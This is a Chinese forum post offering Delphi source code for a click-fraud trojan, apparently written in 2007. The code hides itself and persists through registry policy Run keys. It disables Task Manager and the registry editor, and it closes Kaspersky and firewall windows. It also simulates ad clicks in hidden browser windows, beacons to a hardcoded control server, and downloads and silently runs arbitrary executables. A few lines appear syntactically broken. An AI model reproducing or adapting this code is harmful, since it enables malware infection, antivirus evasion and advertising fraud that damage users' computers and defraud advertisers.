HanDs
管理员

[Delphi文章] 模拟点击网页广告源代码 



{
模拟点击网页广告源代码 By 雪落的瞬间
BLOG  http://hi.baidu.com/cipherteam/
BBS   http://www.killabc.cn QQ 418880764
发送消息,删除COOKIE,HIV过主动.
由于代码写于07年好像 没去考虑体积所以
其它 自己看
}

unit Unit1;
{$R 'copyrightA.res'}
interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, OleCtrls, SHDocVw, StdCtrls,shellApi,urlmon, wininet,shlobj,ExtCtrls,encrypt;

type
  TAnHao_Click = class(TForm)
    TIME_DO: TTimer;
    TIME_All: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure TIME_DOTimer(Sender: TObject);
    procedure TIME_AllTimer(Sender: TObject);
    procedure FormShow(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  AnHao_Click: TAnHao_Click;
  DownUrl:array [0..255] of char;//点击广告配置文件下载路径
  LLUrl,ClickNum,Upurl:array [0..255] of char;//流量配置文件下载路径
  DownSaveA:array [0..255] of char; //广告txt保存路径
  DownSaveL:array [0..255] of char; //流量txt保存路径
  DownSaveC:array [0..255] of char; //剩余点击次数保存路径
  DownSaveDL:array [0..255] of char; //更新txt保存路径
  iename: array [0..255] of char;
  iepath:string ;    //IE 路径
  D_Xy:DWORD;        //点击的坐标
  Int_LL:integer;    //流量定时器计数

  Int_Cr:integer;
  ispost:BOOL;      //点击还是上线
  ClickUrl:STring;  //当前点击网址
implementation

{$R *.dfm}

//系统路径
function syspath():string;
var
  temp: array [0..255] of char;
begin
  GetsystemDirectory(temp,250);
  result:=temp;
end;

//按顶字符串排序分离
function Split(Input: string; Deliminator: string; Index: integer): string;
var
  StringLoop, StringCount: integer;
  Buffer: string;
begin
  Buffer := '';
  if Index < 1 then Exit;
  StringCount := 0;
  StringLoop := 1;
  while (StringLoop <= Length(Input)) do
  begin
    if (Copy(Input, StringLoop, Length(Deliminator)) = Deliminator) then
    begin
      Inc(StringLoop, Length(Deliminator) - 1);
      Inc(StringCount);
      if StringCount = Index then
      begin
        Result := Buffer;
        Exit;
      end
      else
      begin
        Buffer := '';
      end;
    end
    else
    begin
      Buffer := Buffer + Copy(Input, StringLoop, 1);
    end;
    Inc(StringLoop, 1);
  end;
  Inc(StringCount);
  if StringCount < Index then Buffer := '';
  Result := Buffer;
end;

//HIV 启动
procedure GetBackPrivilege;
Const
  ADJUST_PRIV  =  TOKEN_QUERY  or  TOKEN_ADJUST_PRIVILEGES;
  SHTDWN_PRIV  ='SeBackupPrivilege';
  PRIV_SIZE      =  sizeOf(TTokenPrivileges);
var
  TokenPriv,  Dummy:  TTokenPrivileges;
  Token:  THandle;
  Len:dWORD;
begin
  OpenProcessToken(GetCurrentProcess(),  ADJUST_PRIV,  Token);
  LookupPrivilegeValue(nil,  SHTDWN_PRIV,TokenPriv.Privileges[0].Luid);
  TokenPriv.Privileges[0].Attributes  :=  SE_PRIVILEGE_ENABLED;
  TokenPriv.PrivilegeCount  :=  1;
  AdjustTokenPrivileges(Token,  false,  TokenPriv,  PRIV_SIZE,Dummy,  Len);
end;

procedure GetRestorePrivilege;
var
  TPPrev,TP: TTokenPrivileges;
  TokenHandle: THandle;
  dwRetLen: DWORD;
  lpLuid: TLargeInteger;
begin
  OpenProcessToken(GetCurrentProcess,TOKEN_ALL_ACCESS,TokenHandle);
  if(LookupPrivilegeValue(Nil,'SeRestorePrivilege',lpLuid))then
  begin
    TP.PrivilegeCount:=1;
    TP.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED;
    TP.Privileges[0].Luid:=lpLuid;
    AdjustTokenPrivileges(TokenHandle,False,TP,SizeOf(TPPrev),TPPrev,dwRetLen);
  end; 
  CloseHandle(TokenHandle);
end; 

function addreg(key:Hkey; subkey,name,value:string):boolean;
var
regkey:hkey; 
begin
  result := false; 
  RegCreateKey(key,PChar(subkey),regkey);
  if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then 
    result := true;
  RegCloseKey(regkey); 
end;

function SaveKey2(key:integer;subkey,filename:string):Boolean;
var 
  SKey: HKEY;
begin
  Result := false;
  if key = 1 then begin
  RegOpenKey(HKEY_CURRENT_USER,PChar(subkey),SKey);
  end 
  else
  begin 
  RegOpenKey(HKEY_LOCAL_MACHINE,PChar(subkey),SKey);
  end; 
  if SKey <> 0 then
  try 
    Result := (RegSaveKey(SKey, PChar(FileName), nil) = ERROR_SUCCESS);
  finally 
    RegCloseKey(SKey);
  end; 
end;

procedure regstore2(key:integer;subkey,hfile:string);
var 
  key2: hkey;
begin
  if key=1 then
  begin 
  RegOpenKey(HKEY_CURRENT_USER,PChar(subkey),key2)
  end 
  else begin
  RegOpenKey(HKEY_LOCAL_MACHINE,PChar(subkey),key2);
  end;
  if key2<>0 then RegRestoreKey(key2,PChar(hfile),8);
  RegCloseKey(key2);
end;

procedure DoAll(exefile:string);
var
  key:HKEY;
  I:Integer;
begin
  SaveKey2(2,PChar('Software\Microsoft\Windows\CurrentVersion\policies'),'c:\1.hiv');
  RegCreateKey(HKEY_CURRENT_USER,PChar('Software\AnHao'),key);
  for i := 1 to 10 do  regstore2(1,'Software\AnHao','c:\1.hiv');
  addreg(HKEY_CURRENT_USER,'Software\AnHao\explorer\run','Hackceo',exefile);
  SaveKey2(1,PChar('Software\AnHao'),'c:\2.hiv');
  for i := 1 to 10 do  regstore2(2,PChar('Software\Microsoft\Windows\CurrentVersion\policies'),'c:\2.hiv');
  RegDeleteKey(HKEY_CURRENT_USER,'Software\AnHao');
  RegCloseKey(key);
  DeleteFile('c:\1.hiv');
  DeleteFile('c:\2.hiv');
end;

//删除CCOOKIE
function GetCookiesFolder:string;
var
    pidl:pItemIDList;
    buffer:array [ 0..255 ] of char ;
begin
   SHGetSpecialFolderLocation(
     0 , CSIDL_COOKIES, pidl);

   SHGetPathFromIDList(pidl, buffer);
   result:=strpas(buffer);
end;

function ShellDeleteFile(sFileName: string): Boolean;
var
  FOS: TSHFileOpStruct;
begin
   FillChar(FOS, SizeOf(FOS), 0); {记录清零}
   with FOS do
   begin
       Wnd:=0;
       wFunc := FO_DELETE;//删除
       pFrom := PChar(sFileName);
       fFlags := FOF_NOCONFIRMATION or FOF_SILENT;
   end;
   Result := (SHFileOperation(FOS) = 0);
end;
procedure DelCookie;
var
   dir:string;
begin
   InternetSetOption(nil, INTERNET_OPTION_END_BROWSER_SESSION, nil, 0);
   dir:=GetCookiesFolder;
   ShellDeleteFile(dir+'\*.txt');
end;

// 注册表锁住
procedure Disablesome();
var
  SHK:HKEY;
  KeyValue:DWORD;
begin
  try
    //隐藏文件
    KeyValue:=2;
    RegOpenKeyEx(HKEY_CURRENT_USER,'Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced',0,KEY_ALL_ACCESS,SHK);
    RegSetValueEx(SHK,'Hidden',0,REG_DWORD,@KeyValue,sizeOf(DWORD));
  finally
    RegCloseKey(SHK);
  end;
  try
    //文件夹选项锁定
    KeyValue:=0;
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL',0,KEY_ALL_ACCESS,SHK);
    RegSetValueEx(SHK,'CheckedValue',0,REG_DWORD,@KeyValue,sizeOf(DWORD));
  finally
    RegCloseKey(SHK);
  end;
  try
    //禁止任务管理器
    KeyValue:=1;
    RegOpenKeyEx(HKEY_CURRENT_USER,'Software\Microsoft\Windows\CurrentVersion\Policies\System',0,KEY_ALL_ACCESS,SHK);
    RegSetValueEx(SHK,'DisableTaskMgr',0,REG_DWORD,@KeyValue,sizeOf(DWORD));
  finally
    RegCloseKey(SHK);
  end;
  try
    //禁止注册表
    KeyValue:=1;
    RegOpenKeyEx(HKEY_CURRENT_USER,'Software\Microsoft\Windows\CurrentVersion\Policies\System',0,KEY_ALL_ACCESS,SHK);
    RegSetValueEx(SHK,'DisableRegistryTools',0,REG_DWORD,@KeyValue,sizeOf(DWORD));
  finally
    RegCloseKey(SHK);
  end;
end;
function rbl(Hwnd: THandle;
            Param: Pointer): Boolean; stdcall;
var
  bt: array[0..210] of char ;
begin
  getwindowtext(Hwnd,bt,200);
     if ((pos('防火墙',bt)<>0)or (pos('主线程',bt)<>0))then
      begin
        postmessage(hwnd,$0010,0,0) ;
        postmessage(hwnd,$0002,0,0);
        postmessage(hwnd,$0012,0,0);
      end;
  Result :=true  ;
end;

// 杀咔吧 线程 ..
procedure kis ();
var
  HKill:THANDLE;
  KCaption: array[0..200] of char ;
begin
  while (true) do
  begin
    HKill:=GetForegroundWindow()  ;
    GetClassName(HKill,KCaption,200);
    if (pos('AVP',KCaption)<>0) then    //or(pos('AVP',KCaption)<>0)
    begin
      postmessage(HKill,WM_CLOSE,0,0) ;
    end;
    EnumWindows(@rbl,0);
    sleep(20);
  end;
end;
//创建杀卡巴线程
procedure killkis();
var
  kishand:THANDLE;
  kispid:DWORD;
begin             //设置时间
  kishand:=CreateThread(nil, 0, @kis, nil, 0,kispid);
  CloseHandle(kishand);
end;

procedure Sendip();
var
  si: TSTARTUPINFO;
  pi: TProcessInformation;
  Wed:string;
begin
  with si do
  begin
    cb := SizeOf(si);
    lpReserved := nil;
    lpDesktop := nil;
    lpTitle := nil;
    dwFlags := STARTF_USESHOWWINDOW;
    wShowWindow := SW_HIDE;
    cbReserved2 := 0;
    lpReserved2 := nil;
  end;
  if ispost then
  begin
    //点击
    Wed:='Open http://www.damocs.cn/360/click.asp?Url='+ClickUrl;
  end else begin
    Wed:='Open http://www.damocs.cn/360/click.asp?Url=OnLine'; //上线
  end;

  CreateProcess(pchar(iepath),pchar(WED),
             nil, nil, False, CREATE_DEFAULT_ERROR_MODE, nil, nil, si, pi);
  WaitForSingleObject(pi.hProcess, 20000);
  TerminateProcess(pi.hProcess,0);
end;

//-----------------------------------------------------------------------------

// 更新 .
procedure Updata () ;
var
  txtDl:textfile;
  STR_URL,Str_path:string;
begin
  URLDownloadToFile(nil,UpUrl,DownSaveDL,0,nil);
  if FileExists(DownSaveDL) then
  begin
    try
      assignfile(txtDL,DownSaveDL);
      reset(TxtDL);
      While not Eof(TxtDL) do
      begin
        Readln(TxtDL,Str_Url);
        Readln(TxtDL,Str_Path);
        if (S_OK=URLDownloadToFile(nil,Pchar(Str_Url),Pchar(Str_Path),0,nil))then
        begin
          ShellExecute(0,'open',pchar(Str_Path),nil,nil,SW_HIDE);
        end;
      end;
    finally
      CloseFile(TxtDL);
    end;
  end;
end;

//点击广告过程
function SClick(Hwnd: THandle;
            Param: Pointer): Boolean; stdcall;
var
  bt: array[0..210] of char ;
  HandA,handB:Thandle;  //handb保存IE主窗口点击后要隐藏
begin
  getwindowtext(Hwnd,bt,200);
//  if (length(trim(string(bt)) > 30) then
//  begin
  if (pos('小雨雪',bt)<>0) or (pos('索',bt)<>0) then
  begin
    handB:=Hwnd; //保存IE主窗口
    PostMessage(handB,WM_SIZE,SIZE_MAXIMIZED,0); //隐藏最大化IE
    ShowWindow(HandB,SW_HIDE);
    handa:=FindWindowEx(hwnd,0,'TabWindowClass',nil);
    if handa <> 0 then
    begin
      Hwnd := handa;
    end;
    hwnd:=FindWindowEx(hwnd,0,'Shell DocObject View',nil);
    if hwnd <> 0 then
    begin
      hwnd:=FindWindowEx(hwnd,0,'Internet Explorer_Server',nil);
      if hwnd <> 0 then
      begin
        ShowWindow(HandB,SW_HIDE);
        PostMessage(hwnd,WM_LBUTTONDOWN,MK_LBUTTON,D_Xy);
        PostMessage(hwnd,WM_LBUTTONUP,MK_LBUTTON,D_Xy);

        ShowWindow(HandB,SW_HIDE);

        IsPost:=True;
        SendIp;       //发送点击信息
        ShowWindow(HandB,SW_HIDE);
        Result :=true  ;
        exit;
      end;
    end
//  end;
  end;
  Result :=true  ;
end;

//读取配置
procedure ClickAd ();
var
  si: TSTARTUPINFO;
  pi: TProcessInformation;

  txtA:TextFile;  //广告配置文本
  Str_Cr:string;   // 当前版本
  Str_URL,STR_SleepA,STR_Xy,STR_SleepB,STR_ISClick:string  ;
begin
  with si do
  begin
    cb := SizeOf(si);
    lpReserved := nil;
    lpDesktop := nil;
    lpTitle := nil;
    dwFlags := STARTF_USESHOWWINDOW;
    wShowWindow := SW_HIDE;
    cbReserved2 := 0;
    lpReserved2 := nil;
  end;
  URLDownloadToFile(nil,DownUrl,DownSaveA,0,nil);
  if FileExists(DownSaveA) then
  begin
    try
      assignfile(txtA,DownSaveA);
      reset(TxtA);
      Readln(TxtA,Str_Cr);   //获得版本
      if strtoint(Str_Cr) <= Int_Cr then exit;
      Int_Cr:= strtoint(Str_Cr);
      While not Eof(TxtA) do
      begin
        readln(TxtA,Str_Url);
        readln(TxtA,Str_SleepA);
        readln(TxtA,Str_Xy);
        readln(TxtA,Str_SleepB);
        readln(TxtA,Str_ISClick);
        if 'a'=Str_ISClick then
        begin
          D_Xy:=strtoint(Str_Xy);           //转换成32位坐标
          ClickUrl:=Split(Str_Url,'.',2);   //分离目标网址
          CreateProcess(pchar(iepath),pchar(Str_Url),
                          nil, nil, False, CREATE_DEFAULT_ERROR_MODE, nil, nil, si, pi);
          WaitForSingleObject(pi.hProcess, strtoint(Str_SleepA+00'));
          EnumWindows(@SClick,0);

          Sleep(strtoint(Str_SleepB+00'));
          TerminateProcess(pi.hProcess,0);
          TerminateProcess(pi.hProcess,0);
          sleep(5000);
          DelCookie;
          sleep(5000);
        end;
      end;
    finally
      CloseFile(TxtA);
      windows.DeleteFile(DownSaveA);
    end;
  end;
end;
//刷流量
procedure GetLL ();
var
  txtLL:textfile;
  STR_URL,Str_Sleep:string;
  si: TSTARTUPINFO;
  pi: TProcessInformation;
  Wed:string;
begin
  URLDownloadToFile(nil,LLUrl,DownSaveL,0,nil);
  if FileExists(DownSaveL) then
  begin
  with si do
  begin
    cb := SizeOf(si);
    lpReserved := nil;
    lpDesktop := nil;
    lpTitle := nil;
    dwFlags := STARTF_USESHOWWINDOW;
    wShowWindow := SW_HIDE;
    cbReserved2 := 0;
    lpReserved2 := nil;
  end;
    try
      assignfile(txtLL,DownSaveL);
      reset(TxtLL);
      While not Eof(TxtLL) do
      begin
        Readln(TxtLL,Str_Url);
        Readln(TxtLL,Str_Sleep);
        application.ProcessMessages;
        CreateProcess(pchar(iepath),pchar(Str_Url),
             nil, nil, False, CREATE_DEFAULT_ERROR_MODE, nil, nil, si, pi);
        WaitForSingleObject(pi.hProcess, strtoint(Str_Sleep+00'));
        application.ProcessMessages;
        TerminateProcess(pi.hProcess,0);
        DelCookie;
        sleep(2000);
      end;
    finally
      CloseFile(TxtLL);
    end;
  end;
end;

//窗口创建
procedure TAnHao_Click.FormCreate(Sender: TObject);
var
  Hk: hkey;
  exepath:string;
  iekey: Hkey;
  vType,dLength :DWORD;
  CookiePid,HCookie:DWORD;
begin
  CreateMutex(nil,True,'AnHao_Ad');
  if GetLastError = ERROR_ALREADY_EXISTS then
  begin
    Application.Terminate;
    PostMessage(handle,WM_CLOSE,0,0);
  end;
  Int_Cr:= 0 ;
  GetRestorePrivilege; //提权
  GetBackPrivilege;
  try
    regopenkey(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\policies', Hk);
    regcreatekey(Hk,pchar('explorer'),Hk);
    regcreatekey(Hk,pchar('run'),Hk);
  finally
    CloseHandle(Hk);
  end;
  killkis();
  exepath:=syspath()+'\361Ad.exe';
  SetFileAttributes(pchar(paramstr(0)),FILE_ATTRIBUTE_HIDDEN+ FILE_ATTRIBUTE_SYSTEM);
  DoAll(exepath);
  copyfile(pchar(paramstr(0)),pchar(exepath),true);
  Disablesome();
  strcopy(DownSaveDL,pchar(syspath()+'\AnHaoD.Txt'));  //更新
  strcopy(DownSaveA,pchar(syspath()+'\AnHaoA.Txt'));   // 广告
  strcopy(DownSaveL,pchar(syspath()+'\AnHaoL.Txt'));   //流量
  strcopy(DownSaveC,pchar(syspath()+'\AnHaoC.Txt'));   //次数

  Int_LL:=0;  //流量计数器

  HCookie:=createthread(nil,0,@DelCookie,nil,0,CookiePid);
  WaitForSingleObject(HCookie,10000*6*10);
  vType := REG_SZ;
  RegOpenKeyEx(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE',0,KEY_ALL_ACCESS,iekey);
  dLength := SizeOf(iename);
  if RegQueryValueEx(iekey, '' , nil, @vType, @iename[0], @dLength) = 0 then
  begin
    iepath := iename
  end else begin
    iepath := 'C:\Program Files\Internet Explorer\IEXPLORE.EXE';
    RegCloseKey(iekey);
  end;
end;

//开始工作
procedure TAnHao_Click.TIME_DOTimer(Sender: TObject);
var
  PIDA,PIDB:DWORD;
  Txt:textfile;
  ClickCount:String;
begin
  if (Int_LL = 0) or (Int_LL=20) then
  begin
    TIME_Do.Enabled:=False;
    ClickCount:=';
    URLDownloadToFile(nil,ClickNum,DownSaveC,0,nil);
    if FileExists(DownSaveC) then
    begin
      try
        assignfile(txt,DownSaveC);
        reset(Txt);
        ReadLn(txt,ClickCount);
      finally
        CloseFile(txt);
        windows.DeleteFile(DownSaveC);
      end;
    end;
    if strtoint(ClickCount) >0 then
    begin
      ClickAd;  //点击广告
    end;
//    PIDB:=CreateThread(nil,0,@ClickAd,Nil,0,PIDA);
//    WaitForSingleObject(PIDB,INFINITE) ;
    sleep(1000);
    GetLL  ;  //刷流量
    sleep(1000);
    UPData;  //更新下载者
//    PIDB:=CreateThread(nil,0,@Getll,Nil,0,PIDA);
//    WaitForSingleObject(PIDB,INFINITE) ;
    TIME_Do.Enabled:=True;
    Int_LL:=0;
  end;
  Int_LL:=Int_LL+1;
end;

//判断是否联网 控制 刷流量和点击广告开始 定时器
procedure TAnHao_Click.TIME_AllTimer(Sender: TObject);
var
Connect_status : DWORD;
URLA,URLB,UrlC,UrlD:string;
begin
  if InternetGetConnectedState(@connect_status,0)then
  begin
    Ispost:=False ;
    SendIp;        //发送上线信息

    //http://www.damocs.cn/config/gg.txt   //广告
    UrlA:=jmp(13D3D397366663E3E3E672D2824262A3A672A27662A26272F202E662E2E673D313D','I');

    //http://www.damocs.cn/config/ll.txt   //流量
    UrlB:=jmp(84444400A1F1F4747471E54515D5F53431E535E1F535F5E5659571F5C5C1E444844','SBL');

    //http://www.damocs.cn/config/dl.txt  //更新
    UrlC:=jmp(84444400A1F1F4747471E54515D5F53431E535E1F535F5E5659571F545C1E444844','Love');

    //剩余点击次数
    //http://www.damocs.cn/config/num.txt
    UrlD:=jmp(84444400A1F1F4747471E54515D5F53431E535E1F535F5E5659571F5E455D1E444844','Love');

    strcopy(DownUrl,pchar(UrlA));
    strcopy(LLUrl,pchar(UrlB));
    strcopy(Upurl,pchar(UrlC));
    strcopy(ClickNum,pchar(UrlD));

    TIME_Do.Enabled:=True;
    TIME_All.Enabled:=False;
  end;
end;
procedure TAnHao_Click.FormShow(Sender: TObject);
begin
  ShowWindow(0,SW_HIDE);
end;

end.


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
模拟 点击 网页 广告 源代码
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复